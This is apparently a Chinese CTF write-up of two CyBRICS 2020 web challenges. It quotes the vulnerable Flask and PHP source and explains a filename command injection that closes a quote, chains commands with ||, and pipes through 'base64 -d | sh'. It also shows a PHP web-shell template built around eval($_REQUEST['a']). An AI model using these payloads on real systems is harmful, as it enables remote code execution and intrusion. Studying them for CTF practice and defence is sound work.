0%

[cybrics 2020] web wp

[cybrics 2020] web wp

金砖五国CTF?感觉还是个大一点的比赛,看得到其他国家的队伍
全程看题陪跑,比赛还没结束已经开始写wp了呜呜呜呜

Hunt

用到了谷歌的验证码服务没翻墙做不了。。。。是不是该考虑一下充点钱了

Gif2png

给了源码,一个python题

import ...

ALLOWED_EXTENSIONS = {'gif'}

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['SECRET_KEY'] = '********************************'
app.config['MAX_CONTENT_LENGTH'] = 500 * 1024  # 500Kb
ffLaG = "cybrics{********************************}"
Bootstrap(app)
logging.getLogger().setLevel(logging.DEBUG)


def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    logging.debug(request.headers)
    if request.method == 'POST':
        if 'file' not in request.files:
            logging.debug('No file part')
            flash('No file part', 'danger')
            return redirect(request.url)

        file = request.files['file']
        if file.filename == '':
            logging.debug('No selected file')
            flash('No selected file', 'danger')
            return redirect(request.url)

        if not allowed_file(file.filename):
            logging.debug(f'Invalid file extension of file: {file.filename}')
            flash('Invalid file extension', 'danger')
            return redirect(request.url)

        if file.content_type != "image/gif":
            logging.debug(f'Invalid Content type: {file.content_type}')
            flash('Content type is not "image/gif"', 'danger')
            return redirect(request.url)

        if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
            logging.debug(f'Invalid symbols in filename: {file.content_type}')
            flash('Invalid filename', 'danger')
            return redirect(request.url)

        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))

            mime_type = filetype.guess_mime(f'uploads/{file.filename}')
            if mime_type != "image/gif":
                logging.debug(f'Invalid Mime type: {mime_type}')
                flash('Mime type is not "image/gif"', 'danger')
                return redirect(request.url)

            uid = str(uuid.uuid4())
            os.mkdir(f"uploads/{uid}")

            logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"")

            command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)
            command.wait(timeout=15)
            logging.debug(command.stdout)

            flash('Successfully saved', 'success')
            return redirect(url_for('result', uid=uid))

    return render_template("form.html")


@app.route('/result/<uid>/')
def result(uid):
    images = []
    for image in os.listdir(f"uploads/{uid}"):
        mime_type = filetype.guess(str(Path("uploads") / uid / image))
        if image.endswith(".png") and mime_type is not None and mime_type.EXTENSION == "png":
            images.append(image)

    return render_template("result.html", uid=uid, images=images)


@app.route('/uploads/<uid>/<image>')
def image(uid, image):
    logging.debug(request.headers)
    dir = str(Path(app.config['UPLOAD_FOLDER']) / uid)
    return send_from_directory(dir, image)


@app.errorhandler(413)
def request_entity_too_large(error):
    return "File is too large", 413


if __name__ == "__main__":
    app.run(host='localhost', port=5000, debug=False, threaded=True)

整体代码不是很长,三个路由,一个处理gif为png,一个展示,最后一个也是展示功能

根路由对上传的文件做了一万次是不是gif的判断,不好绕过的就是mime_type的判断,这个用了filetype这个库去实现,然后还对文件名有一定的限制
最后进一个危险函数subprocess.Popen,使用ffmpeg处理图像,但是filename除了之前的限制完全可控

两个思路,利用ffmpeg的漏洞,或是命令注入

思路一(失败)

查了一下ffmpeg的洞,发现几年前有一个处理AVI视频格式的文件时在字幕文件中插入恶意数据导致ssrf的,如果能行自然能做
但是,这个题对gif的限制很大,为此我还专门去看了一下filetype是怎么判断的(以没看懂告终,然后师傅就做出来了)

思路二(命令注入)

subprocess.Popen显然是一个超级危险函数,并且filename还基本上可控,引号也可有,可以重新闭合一下,但是/;等符号没有,分隔命令指定目录什么的又不行,执行的回显我们也看不到,现在给的符号不足以反弹shell,并且经过测试靶机也访问不了外网(大概),但是师傅使用|超级管道符和或的功能完成了命令注入

trick1

Linux命令行或语句连接一系列命令的时候,比如aaa || ls || bbb的时候,是从左往右执行执行第一个能执行的命令,并且不再执行之后的命令,这样子就可以把之前的命令随便闭合并且让他不能用,执行我们后面拼接的命令
因此可以使用' || cmd || sleep 10来测试cmd是否可用,试了一下curl本地好像可以,但是访问不了外网(可能)

trick2

管道符连接命令,面对不能出现的字符,当然是编码绕过他,payload | base64 -d | sh
将payloadbase64编码之后完美绕过限制,管道到base64解码,再管道到sh执行,tql

从源码中可以得到upload目录就在当前目录下,并且肯定可写,而/uploads/<uid>/<image>这个路由刚好可以读取对应内容,所以payload将main.py写进自己UID对应的目录下,用png格式保存就行,然后访问一下就可以看到源码获取flag了

WoC

也是给了源码的题,直接给源码的都是好人啊(不像某些奇怪的比赛喜欢藏源码让你去robots.txt或者www.tar.gz等地方找
给了一个超大的框架,大概就是可以使用不同的计算器图片,然后功能也就是一个计算器。
框架太大了,真的理不清,并且html和PHP嵌套各种require各种操作,太高级了我这个萌新没接触过,试了好久才试出来整个网站大概是怎么运行的
登入登出和数据库毫无关系,就是根据用户名给一个session给一个UUID,感觉不注册也随便登录。。。然后还有几个工具界面,require过来require过去的,还有各种跳转
主要内容集中在calc.php

<?php
if (!@$_SESSION['userid'] || !@$_GET['template']) {
    redir(".");
}

$userid = $_SESSION['userid'];
$template = $_GET['template'];

if (!preg_match('#^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$#s', $template)) {
    redir(".");
}
if (!is_file("calcs/$userid/templates/$template.html")) {
    redir(".");
}

if (trim(@$_POST['field'])) {
    $field = trim($_POST['field']);
    
    if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
        $value = "BAD";
    } else {
        if (@$_POST['share']) {
            $calc = uuid();
            file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
            redir("?p=sharelink&calc=$calc");
        } else {
            try {
                $value = eval("return $field;");
            } catch (Throwable $e) {
                $value = null;
            }
            
            if (!is_numeric($value) && !is_string($value)) {
                $value = "ERROR";
            } else {
                $value = (string)$value;
            }
        }
    }
    
    echo "<script>var preloadValue = " . json_encode($value) . ";</script>";
}
require "inc/calclib.html";
require "calcs/$userid/templates/$template.html";

field就是要计算的数据,有一个超级正则表达式,不仅完全看不懂,放到正则可视化里面还报错,呜呜呜
能看懂的就是允许+-*/几个运算符号,然后还有sin cos几个数学函数,但是要什么开头什么结尾的,完全看不懂。。
如果能过这个超级正则就可以进入到eval里面,但是我真的看不懂啊呜呜呜,既然上了一个超级正则,那么可攻击的点应该就不是这

然后我们看到如果post的了一个share,会调用另一个危险函数file_put_contents,其将我们现在的算式filed存起来,并且拼接现有的计算器模板生成一个PHP文件,而又存在一个newtemplate.php可供我们自己操作,生成可控的模板,既然是生成PHP文件,自然就有很大的操作空间,比如getshell什么的
newtemplate.php

<?php
if (!@$_SESSION['userid']) {
    redir(".");
}

$userid = $_SESSION['userid'];

$error = false;

if (trim(@$_POST['html'])) {
    do {
        $html = trim($_POST['html']);
        if (strpos($html, '<?') !== false) {
            $error = "Bad chars";
            break;
        }
        
        $requiredBlocks = [
            'id="back"',
            'id="field" name="field"',
            'id="digit0"',
            'id="digit1"',
            'id="digit2"',
            'id="digit3"',
            'id="digit4"',
            'id="digit5"',
            'id="digit6"',
            'id="digit7"',
            'id="digit8"',
            'id="digit9"',
            'id="plus"',
            'id="equals"',
        ];
        
        foreach ($requiredBlocks as $block) {
            if (strpos($html, $block) === false) {
                $error = "Missing required block: '$block'";
                break(2);
            }
        }
        
        $uuid = uuid();
        if (!file_put_contents("calcs/$userid/templates/$uuid.html", $html)) {
            $error = "Unexpected error! Contact orgs to fix. cybrics.net/rules#contacts";
            break;
        }
        
        redir(".");
    } while (false);
}
?>

没啥太多功能,就是写一个随机文件名的html,但是文件名会在inside.php里面回显出来,不必担心,写入的唯一限制就是不能出现<?标签,这样子的话就没法构造PHP文件了,但是看回这一句

file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));

这里在最开始写入了一句<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n
并且field虽然有一个超级正则但勉强可控,而它为我们提供了一个标签<?=,如果我们能够把这个标签保留下来,在后面自己创建的模板中就可以为所欲为了
而很有意思的是,/*这两个符号一个是除号一个是乘号,虽然我也不知道这个超级正则怎么允许两个运算符连起来,但是的确这个注释符是可以过正则的,那么我们就注释掉了题目限制的闭合,后面拼接上我们带有shell的html就可以了

payload

在newtemplate.php中新建一个内容为

*/ eval($_REQUEST['a']); ?> 
'id="back"',
            'id="field" name="field"',
            'id="digit0"',
            'id="digit1"',
            'id="digit2"',
            'id="digit3"',
            'id="digit4"',
            'id="digit5"',
            'id="digit6"',
            'id="digit7"',
            'id="digit8"',
            'id="digit9"',
            'id="plus"',
            'id="equals"',

的html文档,然后在calc.php中post一个share,令field为/*,会回显写入PHP文件的路径,访问执行命令即可getshell